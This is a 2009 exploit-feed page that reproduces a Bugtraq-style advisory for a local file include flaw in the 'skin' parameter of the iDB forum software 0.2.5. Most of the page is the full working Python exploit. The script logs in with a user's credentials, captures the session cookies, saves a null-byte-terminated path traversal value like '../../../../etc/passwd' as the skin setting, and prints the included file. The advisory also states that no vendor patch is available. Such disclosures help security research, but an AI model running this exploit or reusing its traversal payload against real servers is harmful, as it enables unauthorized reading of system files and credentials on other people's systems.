|
Feeds -
Exploits
|
|
Written by LOTFREE 2009
|
|
Tuesday, 07 April 2009 22:53 |
iDB 'skin' Parameter Local File Include Vulnerability
-\\Bugtraq ID:
34397
-\\Class:
Input Validation Error
-\\CVE:
-\\Remote:
Yes
-\\Local:
No
-\\Published:
Apr 06 2009 12:00AM
-\\Updated:
Apr 07 2009 08:46PM
-\\Credit:
LOTFREE 2009
-\\Vulnerable:
Game Maker 2k iDB 0.2.5 Pre-Alpha SVN 243
-\\Discussion
iDB (Internet Discussion Boards) is prone to a local file-include vulnerability because
it fails to properly sanitize user-supplied input.
An attacker can exploit this vulnerability to view and execute arbitrary local files
in the context of the webserver process. This may aid in further attacks.
iDB 0.2.5 Pre-Alpha SVN 243 is vulnerable; other versions may also be affected.
-\\Exploit(s)/PoC(s):
Attackers can exploit this issue via a browser.
The following exploit code is available:
===============================================================
34397.py
^^^^^^^^^
#!/usr/bin/env
# LOTFREE 2009 - lotfree.next-touch.com
# Local
require() vulnerability in iDB (a PHP/MySQL BBS)
# Test on version 0.2.5 Pre-Alpha SVN 243 (released March 30, 2009)
#
# No checks are made on var "skin" in inc/profilemain.php before saving it to database
# this value is then require()d in mysql.php as $_GET['theme'] (global var is overwritten) :
#=> require($SettDir['themes'].$_GET['theme']."/settings.php");
# so if we set "skin" to (for example) "../../../../../etc/passwd\0" we can get the passwd
# file content :)
# skin is saved to mysql as "UseTheme" in table idb_members
# !! the type is "varchar(26)" so we are limited in injection :( !!
#
# Website of iDB : http://idb.berlios.de/ - http://sourceforge.net/projects/freshmeat_idb/
import urllib, urllib2, sys
print "\tLOTFREE - iDB local PHP file inclusion vulnerability exploit\n"
if len(sys.argv)!=5:
print "Usage: python LOTF-iDB.py <forum_root> <local_path_for_inclusion> <login> <password>"
print "e.g: python LOTF-iDB.py http://localhost/iDB/ ../../../../etc/passwd johndoe s3cr3t"
print "use python LOTF-iDB.py <forum_root> iDB <login> <password> to restore the default skin"
sys.exit()
forum_root = sys.argv[1]
if forum_root[-1]!="/":
forum_root += "/"
username = sys.argv[3]
password = sys.argv[4]
skin = ""
if sys.argv[2]=="iDB":
skin = "iDB"
else:
skin = sys.argv[2]+"\0"
if len(skin)>26:
print "Path for inclusion must be lower than 27 chars in length due to SQL structure :("
sys.exit()
print "Logging on the server..."
qs = {"username":username, "userpass": password, "storecookie": "true", "act": "loginmember"}
req = urllib2.Request(forum_root+"member.php?act=login_now",urllib.urlencode(qs))
data = urllib2.urlopen(req)
cookies = data.headers.getheaders("set-cookie")
cook = []
for c in cookies:
for t in c.split(";"):
if t.find("=")>0:
k = t.split("=")[0]
v = t.split("=",1)[1]
if k in ["idb_sess", "MemberName", "UserID", "SessPass"]:
cook.append(k+"="+v)
cook_str = "; ".join(cook)
print "Cookie string:",cook_str
print
qs = {"YourOffSet" : "0",
"MinOffSet" : "00",
"skin" : skin,
"RepliesPerPage" : "10",
"TopicsPerPage" : "10",
"MessagesPerPage" : "10",
"DST" : "off",
"act" : "settings",
"update" : "now"}
c_headers = {"Cookie": cook_str, "Referer": forum_root+"profile.php?act=settings"}
print "Sending payload..."
req = urllib2.Request(forum_root+"profile.php?act=settings",urllib.urlencode(qs),c_headers)
urllib2.urlopen(req)
req = urllib2.Request(forum_root+"index.php?act=view",headers=c_headers)
data = urllib2.urlopen(req).read()
# if /etc/passwd was included
if data.find("root:x:0:0:")>=0:
print data.split("<")[0]
elif skin=="iDB":
print "Default skin restored!"
elif data.find("require")>=0:
print "Oups... file not found or access forbidden :(\n"
print data[:200]
else:
print "Output:"
print data
-\\Solution
Currently we are not aware of any vendor-supplied patches. If you feel we are in
error or if you are aware of more recent information, please mail us at:
This e-mail address is being protected from spambots. You need JavaScript enabled to view it
.
-\\References(s)
--iDB Homepage
http://idb.berlios.de/index.php?act=view&page=ol (Game Maker 2k)
|
